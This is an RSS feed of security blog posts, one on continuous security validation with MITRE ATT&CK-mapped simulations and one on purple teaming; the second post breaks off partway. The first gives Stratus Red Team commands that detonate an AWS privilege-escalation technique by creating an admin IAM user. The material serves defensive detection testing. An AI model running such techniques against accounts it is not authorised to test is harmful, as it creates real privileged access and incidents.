<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Red Team Archives - Linuxcent</title>
	<atom:link href="https://linuxcent.com/tag/red-team/feed/" rel="self" type="application/rss+xml" />
	<link>https://linuxcent.com/tag/red-team/</link>
	<description>Infrastructure security, from the kernel up.</description>
	<lastBuildDate>Mon, 06 Jul 2026 21:32:09 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.0.4</generator>

<image>
	<url>https://linuxcent.com/wp-content/uploads/2026/04/favicon-512x512-1-150x150.png</url>
	<title>Red Team Archives - Linuxcent</title>
	<link>https://linuxcent.com/tag/red-team/</link>
	<width>32</width>
	<height>32</height>
</image> 
<site xmlns="com-wordpress:feed-additions:1">211632295</site>	<item>
		<title>Continuous Security Validation: Proving Your Architecture Works</title>
		<link>https://linuxcent.com/continuous-security-validation/</link>
					<comments>https://linuxcent.com/continuous-security-validation/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Mon, 06 Jul 2026 21:32:07 +0000</pubDate>
				<category><![CDATA[Security Architecture]]></category>
		<category><![CDATA[Cloud Security]]></category>
		<category><![CDATA[Continuous Validation]]></category>
		<category><![CDATA[DevSecOps]]></category>
		<category><![CDATA[MITRE ATT&CK]]></category>
		<category><![CDATA[Purple Team]]></category>
		<category><![CDATA[Red Team]]></category>
		<guid isPermaLink="false">https://linuxcent.com/continuous-security-validation/</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 5</span> <span class="rt-label rt-postfix">minutes</span></span>Run continuous security validation with MITRE ATT&#038;CK-mapped attack simulations against your own infrastructure, on a schedule, instead of once a year.</p>
<p>The post <a href="https://linuxcent.com/continuous-security-validation/">Continuous Security Validation: Proving Your Architecture Works</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 5</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><em>Zero to Hero: Cybersecurity Architecture Masterclass, Module 6</em><br />
<a href="/ai-agents-secops-rag/">← Module 5: The Future of SecOps</a> · <strong>Module 6: Continuous Mastery</strong> · <a href="/cybersecurity-architecture-series/">All Masterclass Modules →</a></p>
<p><strong>10 min read</strong></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li>Continuous security validation means running real attack techniques against your own production-equivalent environment on a schedule, not once a year during a pentest</li>
<li><code class="" data-line="">stratus-red-team</code> and Atomic Red Team execute specific, mapped MITRE ATT&amp;CK techniques against live cloud infrastructure — the same IMDSv1 exploitation, IAM privilege escalation, and lateral-movement patterns covered earlier in this masterclass, but automated and repeatable</li>
<li>A validation run that never finds anything is either proof your controls work, or proof the simulation isn&#8217;t realistic enough — treat a clean run as a question, not a victory</li>
<li>Security culture is what determines whether a finding becomes a fixed control or a Jira ticket that ages out — validation without organizational follow-through is theater</li>
<li>The Feedback Loop closes the masterclass: every module (STRIDE, IAM hardening, immutable data, AI triage) becomes a control that continuous validation actually tests, instead of a design decision nobody revisits</li>
<li>This module doesn&#8217;t introduce new architecture — it&#8217;s the mechanism that proves Modules 1 through 5 are still true</li>
</ul>
<hr />
<h2 id="start-here-run-a-real-attack-technique-right-now">Start Here: Run a Real Attack Technique Right Now</h2>
<pre><code class="" data-line=""># Install Stratus Red Team — cloud-native attack technique simulator
$ brew install datadog/stratus-red-team/stratus-red-team

# List available techniques mapped to MITRE ATT&amp;CK
$ stratus list --platform aws | grep -i iam
aws.credential-access.ec2-get-password-data
aws.privilege-escalation.iam-create-admin-user
aws.persistence.iam-create-user-login-profile

# Warm up (provisions the exact vulnerable-by-default resources
# Module 3 covered), detonate the technique, then clean up
$ stratus warmup aws.privilege-escalation.iam-create-admin-user
$ stratus detonate aws.privilege-escalation.iam-create-admin-user
$ stratus cleanup aws.privilege-escalation.iam-create-admin-user
</code></pre>
<p>That third command actually creates an admin IAM user the way an attacker would after a privilege-escalation exploit — against your own account, on a schedule you control, so your detection pipeline either catches it or you now know precisely where the gap is. This is continuous security validation: the difference between assuming GuardDuty would catch this and knowing it does, because you just watched it happen.</p>
<hr />
<h2 id="why-an-annual-pentest-isnt-validation">Why an Annual Pentest Isn&#8217;t Validation</h2>
<p>A pentest is a snapshot, scoped to a window, executed by people who leave when the engagement ends. It tells you what was true for the systems in scope, on those specific days, against that specific team&#8217;s technique set. Everything this masterclass has covered — STRIDE-driven design changes (Module 2), IAM policy tightening (Module 3), WORM-locked backups (Module 4), AI-assisted triage (Module 5) — happens on a continuous basis, in a system that changes weekly. A control validated once in March and never tested again is a control you&#8217;re assuming still works in October.</p>
<p>Continuous security validation closes that gap by running the <em>same specific techniques</em> — not a generic scan, but named, MITRE ATT&amp;CK-mapped attack behaviors — on a recurring schedule, against infrastructure that mirrors production. The goal isn&#8217;t finding something new every time. Most runs should find nothing, because most runs are re-confirming a control that was already fixed. That&#8217;s the point: continuous validation is regression testing for security posture.</p>
<hr />
<h2 id="reading-a-clean-run-correctly">Reading a Clean Run Correctly</h2>
<p>A validation run that detonates a technique and triggers no alert is not automatically good news. It&#8217;s one of two things, and the difference matters:</p>
<pre><code class="" data-line=""> CLEAN RUN — TWO POSSIBLE EXPLANATIONS
 ───────────────────────────────────────────────────
 1. The control genuinely works.
    → GuardDuty/Tetragon/SIEM correctly detected and
      the alert pipeline correctly routed it — verify
      the alert actually fired and reached someone,
      not just that the technique &quot;should have&quot; tripped it.

 2. The simulation didn&#039;t actually exercise the real path.
    → Wrong region, wrong IAM role scope, a technique
      that&#039;s stale against current cloud provider APIs,
      or detection logic that&#039;s technically present but
      misconfigured for this specific technique variant.
</code></pre>
<p>Treat every clean run as a question — did the alert fire and get seen, or did nothing happen because nothing was really tested? Pulling the actual GuardDuty/SIEM record for the detonation timestamp and confirming a real alert exists, with the right severity, routed to the right channel, is the only way to tell these two outcomes apart. A validation program that only checks &#8220;did an incident occur&#8221; without checking &#8220;did the alert actually work&#8221; is measuring the wrong thing.</p>
<hr />
<h2 id="mapping-continuous-security-validation-back-to-the-masterclass">Mapping Continuous Security Validation Back to the Masterclass</h2>
<p>Continuous validation is most useful when it directly re-tests the specific controls this series built, not a generic attack library run for its own sake:</p>
<table>
<thead>
<tr>
<th style="text-align: left;">Module</th>
<th style="text-align: left;">Control Being Tested</th>
<th style="text-align: left;">Example Validation Technique</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align: left;">M2 (STRIDE)</td>
<td style="text-align: left;">Trust boundary enforcement between services</td>
<td style="text-align: left;">Attempt lateral cross-service call that should be denied</td>
</tr>
<tr>
<td style="text-align: left;">M3 (Identity Perimeter)</td>
<td style="text-align: left;">IMDSv2 enforcement, IAM least privilege</td>
<td style="text-align: left;"><code class="" data-line="">aws.privilege-escalation.iam-create-admin-user</code>, IMDSv1 credential theft simulation</td>
</tr>
<tr>
<td style="text-align: left;">M4 (Immutable Data)</td>
<td style="text-align: left;">Object Lock Compliance mode holds under attempted deletion</td>
<td style="text-align: left;">Attempt to delete/modify a WORM-locked backup object with admin credentials</td>
</tr>
<tr>
<td style="text-align: left;">M5 (AI Triage)</td>
<td style="text-align: left;">RAG pipeline correctly retrieves and cites relevant evidence for a simulated alert</td>
<td style="text-align: left;">Inject a known-pattern alert, verify the drafted summary cites the correct runbook</td>
</tr>
</tbody>
</table>
<p>Running these specific, mapped checks on a schedule — weekly or per-deploy, not annually — is what separates continuous validation from a checklist audit. It&#8217;s also directly in the spirit of the <a href="https://linuxcent.com/what-is-purple-team-security/">attack-and-detect framing this site&#8217;s Purple Team series</a> uses throughout: red team technique, blue team detection, purple team is the discipline of running both together on purpose.</p>
<hr />
<h2 id="the-part-tooling-cant-fix-security-culture">The Part Tooling Can&#8217;t Fix: Security Culture</h2>
<p>A validation run that surfaces a real gap and produces a Jira ticket that sits untouched for two quarters has not improved anything — it&#8217;s produced evidence of a known, unfixed gap, which is a worse position than not knowing. Continuous validation only works inside an organization where a finding routes to an owner, gets prioritized against other engineering work honestly (this is Module 2&#8217;s DREAD scoring, applied to validation findings instead of design-time threats), and gets re-tested after the fix ships to confirm it actually closed.</p>
<p>The Feedback Loop that closes this masterclass is this: <strong>Threat Model (M2) → Harden (M3/M4) → Validate (M6) → feed validation findings back into the next threat model.</strong> A gap continuous validation finds isn&#8217;t just a bug to fix — it&#8217;s a signal that the original threat model missed something, and the next STRIDE pass on that system should account for it explicitly.</p>
<hr />
<h2 id="production-gotchas">Production Gotchas</h2>
<p><strong>Running attack simulations against shared/production environments without coordination causes real incidents.</strong> Detonating <code class="" data-line="">iam-create-admin-user</code> against a live account without warning your own SOC produces a real, confusing incident response — schedule and announce validation runs the same way you&#8217;d announce a game day exercise.</p>
<p><strong>Cleanup failures leave real vulnerable resources behind.</strong> <code class="" data-line="">stratus cleanup</code> can fail silently if a dependent resource was modified mid-run — verify cleanup completed, don&#8217;t assume the tool always tears down what it created.</p>
<p><strong>Technique libraries go stale as cloud provider APIs change.</strong> A technique written against an older IAM API surface may silently fail to actually reproduce the attack path — validate that a &#8220;no alert&#8221; result means the control held, not that the technique itself broke.</p>
<p><strong>Validation findings that don&#8217;t map to an owning team die in a backlog.</strong> Route every finding to the specific service/team whose control failed, the same way you&#8217;d route a production incident — a finding owned by &#8220;security team, generally&#8221; doesn&#8217;t get fixed.</p>
<hr />
<h2 id="framework-alignment">Framework Alignment</h2>
<table>
<thead>
<tr>
<th style="text-align: left;">Framework</th>
<th style="text-align: left;">Control / ID</th>
<th style="text-align: left;">Architectural Mapping</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align: left;"><strong>NIST CSF 2.0</strong></td>
<td style="text-align: left;">ID.IM-02</td>
<td style="text-align: left;">Improvements are identified from security tests and exercises, including continuous validation.</td>
</tr>
<tr>
<td style="text-align: left;"><strong>NIST SP 800-207</strong></td>
<td style="text-align: left;">Zero Trust</td>
<td style="text-align: left;">Continuous validation is the operational proof that &#8220;continuous verification&#8221; (Module 1) is actually happening, not just designed.</td>
</tr>
<tr>
<td style="text-align: left;"><strong>ISO 27001:2022</strong></td>
<td style="text-align: left;">8.29</td>
<td style="text-align: left;">Security testing in development and acceptance — extended here to continuous, production-equivalent testing.</td>
</tr>
<tr>
<td style="text-align: left;"><strong>SOC 2</strong></td>
<td style="text-align: left;">CC4.1</td>
<td style="text-align: left;">The entity selects, develops, and performs ongoing evaluations to ascertain whether controls are present and functioning.</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li>Continuous security validation runs specific, MITRE ATT&amp;CK-mapped techniques against your own infrastructure on a schedule — not a once-a-year pentest</li>
<li>A clean run is ambiguous by default — confirm the alert actually fired and routed correctly, don&#8217;t assume the absence of an incident means the control worked</li>
<li>Map validation techniques directly back to the specific controls this masterclass built, not a generic attack library</li>
<li>Security culture — findings that route to an owner and get re-tested after the fix — is what makes validation matter; tooling alone doesn&#8217;t</li>
<li>The Feedback Loop is the masterclass&#8217;s actual conclusion: threat model, harden, validate, and feed what you learn back into the next threat model</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>That closes the six-module arc: from dismantling the castle-and-moat (Module 1), through systematic threat modeling (Module 2), hardening the cloud identity perimeter (Module 3), surviving ransomware with immutable data (Module 4), accelerating detection with AI (Module 5), to proving all of it actually holds (Module 6). The loop doesn&#8217;t end here — every validation finding is the start of the next threat model.</p>
<p>Get new masterclass content and future modules in your inbox → <a href="https://linuxcent.com/subscribe">linuxcent.com/subscribe</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fcontinuous-security-validation%2F&amp;linkname=Continuous%20Security%20Validation%3A%20Proving%20Your%20Architecture%20Works" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fcontinuous-security-validation%2F&amp;linkname=Continuous%20Security%20Validation%3A%20Proving%20Your%20Architecture%20Works" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fcontinuous-security-validation%2F&amp;linkname=Continuous%20Security%20Validation%3A%20Proving%20Your%20Architecture%20Works" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fcontinuous-security-validation%2F&amp;linkname=Continuous%20Security%20Validation%3A%20Proving%20Your%20Architecture%20Works" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fcontinuous-security-validation%2F&amp;linkname=Continuous%20Security%20Validation%3A%20Proving%20Your%20Architecture%20Works" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fcontinuous-security-validation%2F&amp;linkname=Continuous%20Security%20Validation%3A%20Proving%20Your%20Architecture%20Works" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fcontinuous-security-validation%2F&amp;linkname=Continuous%20Security%20Validation%3A%20Proving%20Your%20Architecture%20Works" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fcontinuous-security-validation%2F&#038;title=Continuous%20Security%20Validation%3A%20Proving%20Your%20Architecture%20Works" data-a2a-url="https://linuxcent.com/continuous-security-validation/" data-a2a-title="Continuous Security Validation: Proving Your Architecture Works"></a></p><p>The post <a href="https://linuxcent.com/continuous-security-validation/">Continuous Security Validation: Proving Your Architecture Works</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/continuous-security-validation/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">2204</post-id>	</item>
		<item>
		<title>What Is Purple Team Security: Red + Blue = Better Defense</title>
		<link>https://linuxcent.com/what-is-purple-team-security/</link>
					<comments>https://linuxcent.com/what-is-purple-team-security/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Mon, 11 May 2026 02:00:00 +0000</pubDate>
				<category><![CDATA[Purple Team]]></category>
		<category><![CDATA[Blue Team]]></category>
		<category><![CDATA[Detection Engineering]]></category>
		<category><![CDATA[DevSecOps]]></category>
		<category><![CDATA[Incident Response]]></category>
		<category><![CDATA[Red Team]]></category>
		<category><![CDATA[Security]]></category>
		<guid isPermaLink="false">https://linuxcent.com/?p=1843</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 8</span> <span class="rt-label rt-postfix">minutes</span></span>What is purple team security — and why red vs blue alone fails. How the red-blue-purple model cuts detection time from 11 days to 4 hours in practice.</p>
<p>The post <a href="https://linuxcent.com/what-is-purple-team-security/">What Is Purple Team Security: Red + Blue = Better Defense</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 8</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><strong>What Is Purple Team Security</strong> → <a href="/owasp-top-10-cloud-infrastructure/">OWASP Top 10 mapped to cloud infrastructure</a> → <a href="/cloud-security-breaches-2020-2025/">Cloud security breaches 2020–2025</a></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li><strong>Purple team security</strong> is the practice of combining offensive (red) and defensive (blue) work in the same exercise — attackers simulate real techniques while defenders tune detection in real time</li>
<li>Traditional red team engagements produce a report; purple team produces a faster MTTD (mean time to detect)</li>
<li>The structural output is not a findings list — it&#8217;s updated detection rules, tested playbooks, and a measured detection baseline</li>
<li>Purple team is not a permanent headcount; it is a cadence of exercises run against your own infrastructure</li>
<li>Every episode in this series follows the red-blue-purple model: attack simulation → detection → structural fix</li>
</ul>
<hr />
<blockquote>
<p><strong>OWASP Mapping:</strong> This episode establishes the series methodology. No single OWASP category. Subsequent episodes map directly to A01 through A10.</p>
</blockquote>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<pre><code class="" data-line="">┌─────────────────────────────────────────────────────────────────┐
│                    PURPLE TEAM MODEL                            │
│                                                                 │
│   RED TEAM                    BLUE TEAM                         │
│   (Offensive)                 (Defensive)                       │
│                                                                 │
│   ┌──────────┐               ┌──────────┐                       │
│   │ Simulate │──── attack ──&#x25b6;│  Detect  │                       │
│   │ attack   │               │  alert   │                       │
│   └──────────┘               └──────────┘                       │
│         │                          │                            │
│         └──────────┬───────────────┘                            │
│                    │                                            │
│              ┌─────▼──────┐                                     │
│              │  DEBRIEF   │  ← The purple layer                 │
│              │ What fired?│                                      │
│              │ What didn&#039;t│                                      │
│              │ Why?       │                                      │
│              └─────┬──────┘                                     │
│                    │                                            │
│         ┌──────────▼──────────┐                                 │
│         │  Updated detection  │                                 │
│         │  rules + playbooks  │                                 │
│         └─────────────────────┘                                 │
│                                                                 │
│   OUTCOME: Detection time drops exercise-over-exercise          │
└─────────────────────────────────────────────────────────────────┘
</code></pre>
<p><strong>What is purple team security?</strong> It is the structured practice of attacking your own infrastructure — with full visibility on both sides — so that detection logic improves after every exercise, not just after a real breach.</p>
<hr />
<h2 id="why-red-vs-blue-alone-fails">Why Red vs. Blue Alone Fails</h2>
<p>Eleven days.</p>
<p>That was how long an attacker had access before my blue team detected the compromise in a red team engagement I ran two years ago. It was a standard authorized engagement — well-scoped, realistic techniques, no shortcuts. The red team was good. The blue team was experienced. And still: eleven days.</p>
<p>The debrief was the turning point. The red team had used techniques that generated logs — CloudTrail entries, VPC Flow Log anomalies, process spawn events. The blue team had the data. The detections just weren&#8217;t tuned for these specific patterns. Nobody had ever run the techniques against this specific environment and verified whether the alerts fired.</p>
<p>We restructured the next exercise as a purple team exercise. Same attacker techniques. But this time, the blue team was in the room with the red team. They watched each technique execute in real time. They checked whether the alert fired. When it didn&#8217;t, they wrote the detection rule on the spot and verified it before moving to the next technique.</p>
<p>Detection time in the following exercise: four hours.</p>
<p>That is the entire argument for purple team security. Not philosophy. Not org charts. Eleven days versus four hours.</p>
<hr />
<h2 id="what-red-team-alone-gets-wrong">What Red Team Alone Gets Wrong</h2>
<p>Traditional red team engagements produce a report with findings. The findings describe what the attacker did. The recommendations describe what to fix. Then the report goes to a remediation queue, the org closes the tickets over three months, and the detection logic is never tested.</p>
<p>The fundamental problem: <strong>a red team report tells you what happened; it doesn&#8217;t tell you whether your detection would catch it happening again</strong>.</p>
<p>The MITRE ATT&amp;CK framework lists over 400 techniques. An annual red team engagement tests maybe 20 of them against your environment. You get a PDF. You don&#8217;t get a detection baseline.</p>
<p>Red team alone also creates adversarial dynamics inside the organization. Red team wins when they&#8217;re not caught. Blue team wins when they catch everything. These goals are structurally opposed, which means neither team has an incentive to share information that would help the other.</p>
<hr />
<h2 id="what-blue-team-alone-gets-wrong">What Blue Team Alone Gets Wrong</h2>
<p>Blue team without red team input is writing detection rules in the abstract. They tune alerts based on what they think an attacker would do, not what an attacker actually does against your specific environment with your specific tooling.</p>
<p>Signature-based detection catches known-bad. Behavioral detection catches anomalies. Neither catches a sophisticated attacker who has studied your baseline — unless you&#8217;ve explicitly tested whether the behavior that attacker uses registers as an anomaly in your environment.</p>
<p>Blue teams also tend toward alert fatigue. When everything fires, nothing gets investigated. Tuning requires knowing which signals correspond to real techniques, and that knowledge only comes from running the techniques.</p>
<hr />
<h2 id="the-purple-team-model-how-it-actually-works">The Purple Team Model: How It Actually Works</h2>
<p>Purple team security is not a permanent team structure. You don&#8217;t hire a purple team. You run purple team exercises.</p>
<p>The exercise structure:</p>
<pre><code class="" data-line="">1. SCOPE          — agree on the attack scenario (e.g., &quot;compromised developer credentials&quot;)
2. RED EXECUTES   — red team runs the first technique in the scenario
3. BLUE OBSERVES  — blue team watches for the alert; records: fired / not fired / noisy
4. DEBRIEF        — immediate, technique by technique. Why didn&#039;t it fire? What data existed?
5. TUNE           — blue team updates detection rule. Red team re-runs. Verify it fires.
6. NEXT TECHNIQUE — repeat for every technique in the scenario
7. MEASURE        — record detection rate and detection time at the end of the exercise
</code></pre>
<p>The output of a purple team exercise is not a PDF. It is:<br />
&#8211; Updated detection rules (tested and verified)<br />
&#8211; A measured detection time for each technique<br />
&#8211; A documented attack scenario with the specific commands used<br />
&#8211; A baseline for the next exercise to beat</p>
<p>This is what &#8220;purple&#8221; means: the red and blue work together, in the same room or on the same call, producing improved defense as a direct output of the attack simulation.</p>
<hr />
<h2 id="the-mitre-attck-scaffolding">The MITRE ATT&amp;CK Scaffolding</h2>
<p>Every purple team exercise is anchored to ATT&amp;CK techniques. ATT&amp;CK provides the shared vocabulary: red team uses technique T1078 (Valid Accounts), blue team knows which data sources detect T1078, and the exercise verifies whether those detections are actually implemented and tuned.</p>
<pre><code class="" data-line="">MITRE ATT&amp;CK Technique
         │
         ├── Tactic: Initial Access / Persistence / Lateral Movement / ...
         ├── Data Sources: CloudTrail, Process events, Network traffic, ...
         ├── Detection: What behavioral indicator to look for
         └── Mitigations: What configuration change prevents or limits it
</code></pre>
<p>When you scope a purple team exercise using ATT&amp;CK, you get explicit coverage tracking. After six exercises, you can report: &#8220;We have verified detections for 47 of the 112 techniques most relevant to our threat model. These 65 are not yet covered.&#8221;</p>
<p>That is a measurable security posture improvement. It is auditable. It is repeatable.</p>
<hr />
<h2 id="where-owasp-fits-in-this-series">Where OWASP Fits in This Series</h2>
<p>This series uses OWASP Top 10 (2021) as the threat taxonomy, not ATT&amp;CK. The reason: OWASP Top 10 maps directly to the classes of vulnerability that caused the major breaches between 2020 and 2025 — and it is familiar to the developers and architects who need to remediate them.</p>
